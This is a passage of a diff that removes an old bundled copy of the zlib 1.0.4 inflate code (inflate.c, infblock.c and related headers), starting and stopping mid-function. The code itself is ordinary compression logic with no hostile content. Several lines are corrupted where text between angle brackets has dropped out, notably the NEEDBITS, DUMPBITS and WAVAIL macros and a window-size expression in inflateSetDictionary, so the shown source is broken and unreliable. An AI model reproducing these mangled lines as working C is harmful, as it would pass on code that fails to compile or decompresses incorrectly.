put_byte(s, (Byte)s->bi_buf); - } - s->bi_buf = 0; - s->bi_valid = 0; -#ifdef DEBUG_ZLIB - s->bits_sent = (s->bits_sent+7) & ~7; -#endif -} - -/* =========================================================================== - * Copy a stored block, storing first the length and its - * one's complement if requested. - */ -local void copy_block(s, buf, len, header) - deflate_state *s; - charf *buf; /* the input data */ - unsigned len; /* its length */ - int header; /* true if block header must be written */ -{ - bi_windup(s); /* align on byte boundary */ - s->last_eob_len = 8; /* enough lookahead for inflate */ - - if (header) { - put_short(s, (ush)len); - put_short(s, (ush)~len); -#ifdef DEBUG_ZLIB - s->bits_sent += 2*16; -#endif - } -#ifdef DEBUG_ZLIB - s->bits_sent += (ulg)len<<3; -#endif - /* bundle up the put_byte(s, *buf++) calls */ - zmemcpy(&s->pending_buf[s->pending], buf, len); - s->pending += len; -} -/* --- trees.c */ - -/* +++ inflate.c */ -/* inflate.c -- zlib interface to inflate modules - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ - -/* +++ infblock.h */ -/* infblock.h -- header to use infblock.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_blocks_state; -typedef struct inflate_blocks_state FAR inflate_blocks_statef; - -extern inflate_blocks_statef * inflate_blocks_new OF(( - z_streamp z, - check_func c, /* check function */ - uInt w)); /* window size */ - -extern int inflate_blocks OF(( - inflate_blocks_statef *, - z_streamp , - int)); /* initial return code */ - -extern void inflate_blocks_reset OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern int inflate_blocks_free OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern void inflate_set_dictionary OF(( - inflate_blocks_statef *s, - const Bytef *d, /* dictionary */ - uInt n)); /* dictionary length */ - -extern int inflate_addhistory OF(( - inflate_blocks_statef *, - z_streamp)); - -extern int inflate_packet_flush OF(( - inflate_blocks_statef *)); -/* --- infblock.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ -#endif - -/* inflate private state */ -struct internal_state { - - /* mode */ - enum { - METHOD, /* waiting for method byte */ - FLAG, /* waiting for flag byte */ - DICT4, /* four dictionary check bytes to go */ - DICT3, /* three dictionary check bytes to go */ - DICT2, /* two dictionary check bytes to go */ - DICT1, /* one dictionary check byte to go */ - DICT0, /* waiting for inflateSetDictionary */ - BLOCKS, /* decompressing blocks */ - CHECK4, /* four check bytes to go */ - CHECK3, /* three check bytes to go */ - CHECK2, /* two check bytes to go */ - CHECK1, /* one check byte to go */ - DONE, /* finished check, done */ - BAD} /* got an error--stay here */ - mode; /* current inflate mode */ - - /* mode dependent information */ - union { - uInt method; /* if FLAGS, method byte */ - struct { - uLong was; /* computed check value */ - uLong need; /* stream check value */ - } check; /* if CHECK, check values to compare */ - uInt marker; /* if BAD, inflateSync's marker bytes count */ - } sub; /* submode */ - - /* mode independent information */ - int nowrap; /* flag for no wrapper */ - uInt wbits; /* log2(window size) (8..15, defaults to 15) */ - inflate_blocks_statef - *blocks; /* current inflate_blocks state */ - -}; - - -int inflateReset(z_streamp z) -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - z->total_in = z->total_out = 0; - z->msg = Z_NULL; - z->state->mode = z->state->nowrap ? BLOCKS : METHOD; - inflate_blocks_reset(z->state->blocks, z, &c); - Trace((stderr, "inflate: reset\n")); - return Z_OK; -} - - -int inflateEnd(z_streamp z) -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->blocks != Z_NULL) - inflate_blocks_free(z->state->blocks, z, &c); - ZFREE(z, z->state); - z->state = Z_NULL; - Trace((stderr, "inflate: end\n")); - return Z_OK; -} - - -int inflateInit2_(z_streamp z, int w, const char *version, int stream_size) -{ - if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || - stream_size != sizeof(z_stream)) - return Z_VERSION_ERROR; - - /* initialize state */ - if (z == Z_NULL) - return Z_STREAM_ERROR; - z->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (z->zalloc == Z_NULL) - { - z->zalloc = zcalloc; - z->opaque = (voidpf)0; - } - if (z->zfree == Z_NULL) z->zfree = zcfree; -#endif - if ((z->state = (struct internal_state FAR *) - ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) - return Z_MEM_ERROR; - z->state->blocks = Z_NULL; - - /* handle undocumented nowrap option (no zlib header or check) */ - z->state->nowrap = 0; - if (w < 0) - { - w = - w; - z->state->nowrap = 1; - } - - /* set window size */ - if (w < 8 || w > 15) - { - inflateEnd(z); - return Z_STREAM_ERROR; - } - z->state->wbits = (uInt)w; - - /* create inflate_blocks state */ - if ((z->state->blocks = - inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) - == Z_NULL) - { - inflateEnd(z); - return Z_MEM_ERROR; - } - Trace((stderr, "inflate: allocated\n")); - - /* reset state */ - inflateReset(z); - return Z_OK; -} - - -int inflateInit_(z_streamp z, const char *version, int stream_size) -{ - return inflateInit2_(z, DEF_WBITS, version, stream_size); -} - - -#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} -#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) - -int inflate(z_streamp z, int f) -{ - int r; - uInt b; - - if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) - return Z_STREAM_ERROR; - r = Z_BUF_ERROR; - while (1) switch (z->state->mode) - { - case METHOD: - NEEDBYTE - if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) - { - z->state->mode = BAD; - z->msg = (char*)"unknown compression method"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - if ((z->state->sub.method >> 4) + 8 > z->state->wbits) - { - z->state->mode = BAD; - z->msg = (char*)"invalid window size"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - z->state->mode = FLAG; - case FLAG: - NEEDBYTE - b = NEXTBYTE; - if (((z->state->sub.method << 8) + b) % 31) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect header check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib header ok\n")); - if (!(b & PRESET_DICT)) - { - z->state->mode = BLOCKS; - break; - } - z->state->mode = DICT4; - case DICT4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = DICT3; - case DICT3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = DICT2; - case DICT2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = DICT1; - case DICT1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - z->adler = z->state->sub.check.need; - z->state->mode = DICT0; - return Z_NEED_DICT; - case DICT0: - z->state->mode = BAD; - z->msg = (char*)"need dictionary"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_STREAM_ERROR; - case BLOCKS: - r = inflate_blocks(z->state->blocks, z, r); - if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) - r = inflate_packet_flush(z->state->blocks); - if (r == Z_DATA_ERROR) - { - z->state->mode = BAD; - z->state->sub.marker = 0; /* can try inflateSync */ - break; - } - if (r != Z_STREAM_END) - return r; - r = Z_OK; - inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); - if (z->state->nowrap) - { - z->state->mode = DONE; - break; - } - z->state->mode = CHECK4; - case CHECK4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = CHECK3; - case CHECK3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = CHECK2; - case CHECK2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = CHECK1; - case CHECK1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - - if (z->state->sub.check.was != z->state->sub.check.need) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect data check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib check ok\n")); - z->state->mode = DONE; - case DONE: - return Z_STREAM_END; - case BAD: - return Z_DATA_ERROR; - default: - return Z_STREAM_ERROR; - } - - empty: - if (f != Z_PACKET_FLUSH) - return r; - z->state->mode = BAD; - z->msg = (char *)"need more for packet flush"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_DATA_ERROR; -} - - -int inflateSetDictionary(z_streamp z, const Bytef *dictionary, uInt dictLength) -{ - uInt length = dictLength; - - if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) - return Z_STREAM_ERROR; - - if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; - z->adler = 1L; - - if (length >= ((uInt)1<state->wbits)) - { - length = (1<state->wbits)-1; - dictionary += dictLength - length; - } - inflate_set_dictionary(z->state->blocks, dictionary, length); - z->state->mode = BLOCKS; - return Z_OK; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ - -int inflateIncomp(z_streamp z) -{ - if (z->state->mode != BLOCKS) - return Z_DATA_ERROR; - return inflate_addhistory(z->state->blocks, z); -} - - -int inflateSync(z_streamp z) -{ - uInt n; /* number of bytes to look at */ - Bytef *p; /* pointer to bytes */ - uInt m; /* number of marker bytes found in a row */ - uLong r, w; /* temporaries to save total_in and total_out */ - - /* set up */ - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->mode != BAD) - { - z->state->mode = BAD; - z->state->sub.marker = 0; - } - if ((n = z->avail_in) == 0) - return Z_BUF_ERROR; - p = z->next_in; - m = z->state->sub.marker; - - /* search */ - while (n && m < 4) - { - if (*p == (Byte)(m < 2 ? 0 : 0xff)) - m++; - else if (*p) - m = 0; - else - m = 4 - m; - p++, n--; - } - - /* restore */ - z->total_in += (uLong)(p - z->next_in); - z->next_in = p; - z->avail_in = n; - z->state->sub.marker = m; - - /* return no joy or set up to restart on a new block */ - if (m != 4) - return Z_DATA_ERROR; - r = z->total_in; w = z->total_out; - inflateReset(z); - z->total_in = r; z->total_out = w; - z->state->mode = BLOCKS; - return Z_OK; -} - -#undef NEEDBYTE -#undef NEXTBYTE -/* --- inflate.c */ - -/* +++ infblock.c */ -/* infblock.c -- interpret and process block types to last block - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ - -/* +++ inftrees.h */ -/* inftrees.h -- header to use inftrees.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* Huffman code lookup table entry--this entry is four bytes for machines - that have 16-bit pointers (e.g. PC's in the small or medium model). */ - -typedef struct inflate_huft_s FAR inflate_huft; - -struct inflate_huft_s { - union { - struct { - Byte Exop; /* number of extra bits or operation */ - Byte Bits; /* number of bits in this code or subcode */ - } what; - Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ - } word; /* 16-bit, 8 bytes for 32-bit machines) */ - union { - uInt Base; /* literal, length base, or distance base */ - inflate_huft *Next; /* pointer to next level of table */ - } more; -}; - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif - -extern int inflate_trees_bits OF(( - uIntf *, /* 19 code lengths */ - uIntf *, /* bits tree desired/actual depth */ - inflate_huft * FAR *, /* bits tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_dynamic OF(( - uInt, /* number of literal/length codes */ - uInt, /* number of distance codes */ - uIntf *, /* that many (total) code lengths */ - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *, /* distance tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_fixed OF(( - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *)); /* distance tree result */ - -extern int inflate_trees_free OF(( - inflate_huft *, /* tables to free */ - z_streamp )); /* for zfree function */ - -/* --- inftrees.h */ - -/* +++ infcodes.h */ -/* infcodes.h -- header to use infcodes.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_codes_state; -typedef struct inflate_codes_state FAR inflate_codes_statef; - -extern inflate_codes_statef *inflate_codes_new OF(( - uInt, uInt, - inflate_huft *, inflate_huft *, - z_streamp )); - -extern int inflate_codes OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -extern void inflate_codes_free OF(( - inflate_codes_statef *, - z_streamp )); - -/* --- infcodes.h */ - -/* +++ infutil.h */ -/* infutil.h -- types and macros common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -#ifndef _INFUTIL_H -#define _INFUTIL_H - -typedef enum { - TYPE, /* get type bits (3, including end bit) */ - LENS, /* get lengths for stored */ - STORED, /* processing stored block */ - TABLE, /* get table lengths */ - BTREE, /* get bit lengths tree for a dynamic block */ - DTREE, /* get length, distance trees for a dynamic block */ - CODES, /* processing fixed or dynamic block */ - DRY, /* output remaining window bytes */ - DONEB, /* finished last block, done */ - BADB} /* got a data error--stuck here */ -inflate_block_mode; - -/* inflate blocks semi-private state */ -struct inflate_blocks_state { - - /* mode */ - inflate_block_mode mode; /* current inflate_block mode */ - - /* mode dependent information */ - union { - uInt left; /* if STORED, bytes left to copy */ - struct { - uInt table; /* table lengths (14 bits) */ - uInt index; /* index into blens (or border) */ - uIntf *blens; /* bit lengths of codes */ - uInt bb; /* bit length tree depth */ - inflate_huft *tb; /* bit length decoding tree */ - } trees; /* if DTREE, decoding info for trees */ - struct { - inflate_huft *tl; - inflate_huft *td; /* trees to free */ - inflate_codes_statef - *codes; - } decode; /* if CODES, current state */ - } sub; /* submode */ - uInt last; /* true if this block is the last block */ - - /* mode independent information */ - uInt bitk; /* bits in bit buffer */ - uLong bitb; /* bit buffer */ - Bytef *window; /* sliding window */ - Bytef *end; /* one byte after sliding window */ - Bytef *read; /* window read pointer */ - Bytef *write; /* window write pointer */ - check_func checkfn; /* check function */ - uLong check; /* check on output */ - -}; - - -/* defines for inflate input/output */ -/* update pointers and return */ -#define UPDBITS {s->bitb=b;s->bitk=k;} -#define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;} -#define UPDOUT {s->write=q;} -#define UPDATE {UPDBITS UPDIN UPDOUT} -#define LEAVE {UPDATE return inflate_flush(s,z,r);} -/* get bytes and bits */ -#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} -#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} -#define NEXTBYTE (n--,*p++) -#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} -/* output bytes */ -#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) -#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} -#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} -#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} -#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} -#define OUTBYTE(a) {*q++=(Byte)(a);m--;} -/* load local pointers */ -#define LOAD {LOADIN LOADOUT} - -/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ -extern uInt inflate_mask[17]; - -/* copy as much as possible from the sliding window to the output area */ -extern int inflate_flush OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#endif -/* --- infutil.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* Table for deflate from PKZIP's appnote.txt. */ -local const uInt border[] = { /* Order of the bit length code lengths */ - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; - -/* - Notes beyond the 1.93a appnote.txt: - - 1. Distance pointers never point before the beginning of the output - stream. - 2. Distance pointers can point back across blocks, up to 32k away. - 3. There is an implied maximum of 7 bits for the bit length table and - 15 bits for the actual data. - 4. If only one code exists, then it is encoded using one bit. (Zero - would be more efficient, but perhaps a little confusing.) If two - codes exist, they are coded using one bit each (0 and 1). - 5. There is no way of sending zero distance codes--a dummy must be - sent if there are none. (History: a pre 2.0 version of PKZIP would - store blocks with no distance codes, but this was discovered to be - too harsh a criterion.) Valid only for 1.93a. 2.04c does allow - zero distance codes, which is sent as one code of zero bits in - length. - 6. There are up to 286 literal/length codes. Code 256 represents the - end-of-block. Note however that the static length tree defines - 288 codes just to fill out the Huffman codes. Codes 286 and 287 - cannot be used though, since there is no length base or extra bits - defined for them. Similarily, there are up to 30 distance codes. - However, static trees define 32 codes (all 5 bits) to fill out the - Huffman codes, but the last two had better not show up in the data. - 7. Unzip can check dynamic Huffman blocks for complete code sets. - The exception is that a single code would not be complete (see #4). - 8. The five bits following the block type is really the number of - literal codes sent minus 257. - 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits - (1+6+6). Therefore, to output three times the length, you output - three codes (1+1+1), whereas to output four times the same length, - you only need two codes (1+3). Hmm. - 10. In the tree reconstruction algorithm, Code = Code + Increment - only if BitLength(i) is not zero. (Pretty obvious.) - 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) - 12. Note: length code 284 can represent 227-258, but length code 285 - really is 258. The last length deserves its own, short code - since it gets used a lot in very redundant files. The length - 258 is special since 258 - 3 (the min match length) is 255. - 13. The literal/length and distance code bit lengths are read as a - single stream of lengths. It is possible (and advantageous) for - a repeat code (16, 17, or 18) to go across the boundary between - the two sets of lengths. - */ - - -void inflate_blocks_reset(inflate_blocks_statef *s, z_streamp z, uLongf *c) -{ - if (s->checkfn != Z_NULL) - *c = s->check; - if (s->mode == BTREE || s->mode == DTREE) - ZFREE(z, s->sub.trees.blens); - if (s->mode == CODES) - { - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - } - s->mode = TYPE; - s->bitk = 0; - s->bitb = 0; - s->read = s->write = s->window; - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); - Trace((stderr, "inflate: blocks reset\n")); -} - - -inflate_blocks_statef *inflate_blocks_new(z_streamp z, check_func c, uInt w) -{ - inflate_blocks_statef *s; - - if ((s = (inflate_blocks_statef *)ZALLOC - (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) - return s; - if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) - { - ZFREE(z, s); - return Z_NULL; - } - s->end = s->window + w; - s->checkfn = c; - s->mode = TYPE; - Trace((stderr, "inflate: blocks allocated\n")); - inflate_blocks_reset(s, z, &s->check); - return s; -} - - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif -int inflate_blocks(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt t; /* temporary storage */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input based on current state */ - while (1) switch (s->mode) - { - case TYPE: - NEEDBITS(3) - t = (uInt)b & 7; - s->last = t & 1; - switch (t >> 1) - { - case 0: /* stored */ - Trace((stderr, "inflate: stored block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - t = k & 7; /* go to byte boundary */ - DUMPBITS(t) - s->mode = LENS; /* get length of stored block */ - break; - case 1: /* fixed */ - Trace((stderr, "inflate: fixed codes block%s\n", - s->last ? " (last)" : "")); - { - uInt bl, bd; - inflate_huft *tl, *td; - - inflate_trees_fixed(&bl, &bd, &tl, &td); - s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); - if (s->sub.decode.codes == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - s->sub.decode.tl = Z_NULL; /* don't try to free these */ - s->sub.decode.td = Z_NULL; - } - DUMPBITS(3) - s->mode = CODES; - break; - case 2: /* dynamic */ - Trace((stderr, "inflate: dynamic codes block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - s->mode = TABLE; - break; - case 3: /* illegal */ - DUMPBITS(3) - s->mode = BADB; - z->msg = (char*)"invalid block type"; - r = Z_DATA_ERROR; - LEAVE - } - break; - case LENS: - NEEDBITS(32) - if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) - { - s->mode = BADB; - z->msg = (char*)"invalid stored block lengths"; - r = Z_DATA_ERROR; - LEAVE - } - s->sub.left = (uInt)b & 0xffff; - b = k = 0; /* dump bits */ - Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); - s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); - break; - case STORED: - if (n == 0) - LEAVE - NEEDOUT - t = s->sub.left; - if (t > n) t = n; - if (t > m) t = m; - zmemcpy(q, p, t); - p += t; n -= t; - q += t; m -= t; - if ((s->sub.left -= t) != 0) - break; - Tracev((stderr, "inflate: stored end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - s->mode = s->last ? DRY : TYPE; - break; - case TABLE: - NEEDBITS(14) - s->sub.trees.table = t = (uInt)b & 0x3fff; -#ifndef PKZIP_BUG_WORKAROUND - if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) - { - s->mode = BADB; - z->msg = (char*)"too many length or distance symbols"; - r = Z_DATA_ERROR; - LEAVE - } -#endif - t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); - if (t < 19) - t = 19; - if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - DUMPBITS(14) - s->sub.trees.index = 0; - Tracev((stderr, "inflate: table sizes ok\n")); - s->mode = BTREE; - case BTREE: - while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) - { - NEEDBITS(3) - s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; - DUMPBITS(3) - } - while (s->sub.trees.index < 19) - s->sub.trees.blens[border[s->sub.trees.index++]] = 0; - s->sub.trees.bb = 7; - t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, - &s->sub.trees.tb, z); - if (t != Z_OK) - { - r = t; - if (r == Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - LEAVE - } - s->sub.trees.index = 0; - Tracev((stderr, "inflate: bits tree ok\n")); - s->mode = DTREE; - case DTREE: - while (t = s->sub.trees.table, - s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) - { - inflate_huft *h; - uInt i, j, c; - - t = s->sub.trees.bb; - NEEDBITS(t) - h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); - t = h->word.what.Bits; - c = h->more.Base; - if (c < 16) - { - DUMPBITS(t) - s->sub.trees.blens[s->sub.trees.index++] = c; - } - else /* c == 16..18 */ - { - i = c == 18 ? 7 : c - 14; - j = c == 18 ? 11 : 3; - NEEDBITS(t + i) - DUMPBITS(t) - j += (uInt)b & inflate_mask[i]; - DUMPBITS(i) - i = s->sub.trees.index; - t = s->sub.trees.table; - if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || - (c == 16 && i < 1)) - { - inflate_trees_free(s->sub.trees.tb, z); - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - z->msg = (char*)"invalid bit length repeat"; - r = Z_DATA_ERROR; - LEAVE - } - c = c == 16 ? s->sub.trees.blens[i - 1] : 0; - do { - s->sub.trees.blens[i++] = c; - } while (--j); - s->sub.trees.index = i; - } - } - inflate_trees_free(s->sub.trees.tb, z); - s->sub.trees.tb = Z_NULL; - { - uInt bl, bd; - inflate_huft *tl, *td; - inflate_codes_statef *c; - - bl = 9; /* must be <= 9 for lookahead assumptions */ - bd = 6; /* must be <= 9 for lookahead assumptions */ - t = s->sub.trees.table; -#ifdef DEBUG_ZLIB - inflate_hufts = 0; -#endif - t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), - s->sub.trees.blens, &bl, &bd, &tl, &td, z); - if (t != Z_OK) - { - if (t == (uInt)Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - r = t; - LEAVE - } - Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", - inflate_hufts, sizeof(inflate_huft))); - if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) - { - inflate_trees_free(td, z); - inflate_trees_free(tl, z); - r = Z_MEM_ERROR; - LEAVE - } - /* - * this ZFREE must occur *BEFORE* we mess with sub.decode, because - * sub.trees is union'd with sub.decode. - */ - ZFREE(z, s->sub.trees.blens); - s->sub.decode.codes = c; - s->sub.decode.tl = tl; - s->sub.decode.td = td; - } - s->mode = CODES; - case CODES: - UPDATE - if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) - return inflate_flush(s, z, r); - r = Z_OK; - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - LOAD - Tracev((stderr, "inflate: codes end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - if (!s->last) - { - s->mode = TYPE; - break; - } - if (k > 7) /* return unused byte, if any */ - { - Assert(k < 16, "inflate_codes grabbed too many bytes") - k -= 8; - n++; - p--; /* can always return one */ - } - s->mode = DRY; - case DRY: - FLUSH - if (s->read != s->write) - LEAVE - s->mode = DONEB; - case DONEB: - r = Z_STREAM_END; - LEAVE - case BADB: - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -int inflate_blocks_free(inflate_blocks_statef *s, z_streamp z, uLongf *c) -{ - inflate_blocks_reset(s, z, c); - ZFREE(z, s->window); - ZFREE(z, s); - Trace((stderr, "inflate: blocks freed\n")); - return Z_OK; -} - - -void inflate_set_dictionary(inflate_blocks_statef *s, const Bytef *d, uInt n) -{ - zmemcpy((charf *)s->window, d, n); - s->read = s->write = s->window + n; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ -int inflate_addhistory(inflate_blocks_statef *s, z_stream *z) -{ - uLong b; /* bit buffer */ /* NOT USED HERE */ - uInt k; /* bits in bit buffer */ /* NOT USED HERE */ - uInt t; /* temporary storage */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - if (s->read != s->write) - return Z_STREAM_ERROR; - if (s->mode != TYPE) - return Z_DATA_ERROR; - - /* we're ready to rock */ - LOAD - /* while there is input ready, copy to output buffer, moving - * pointers as needed. - */ - while (n) { - t = n; /* how many to do */ - /* is there room until end of buffer? */ - if (t > m) t = m; - /* update check information */ - if (s->checkfn != Z_NULL) - s->check = (*s->checkfn)(s->check, q, t); - zmemcpy(q, p, t); - q += t; - p += t; - n -= t; - z->total_out += t; - s->read = q; /* drag read pointer forward */ -/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ - if (q == s->end) { - s->read = q = s->window; - m = WAVAIL; - } - } - UPDATE - return Z_OK; -} - - -/* - * At the end of a Deflate-compressed PPP packet, we expect to have seen - * a `stored' block type value but not the (zero) length bytes. - */ -int inflate_packet_flush(inflate_blocks_statef *s) -{ - if (s->mode != LENS) - return Z_DATA_ERROR; - s->mode = TYPE; - return Z_OK; -} -/* --- infblock.c */ - -/* +++ inftrees.c */ -/* inftrees.c -- generate Huffman trees for efficient decoding - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ - -char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - - -local int huft_build 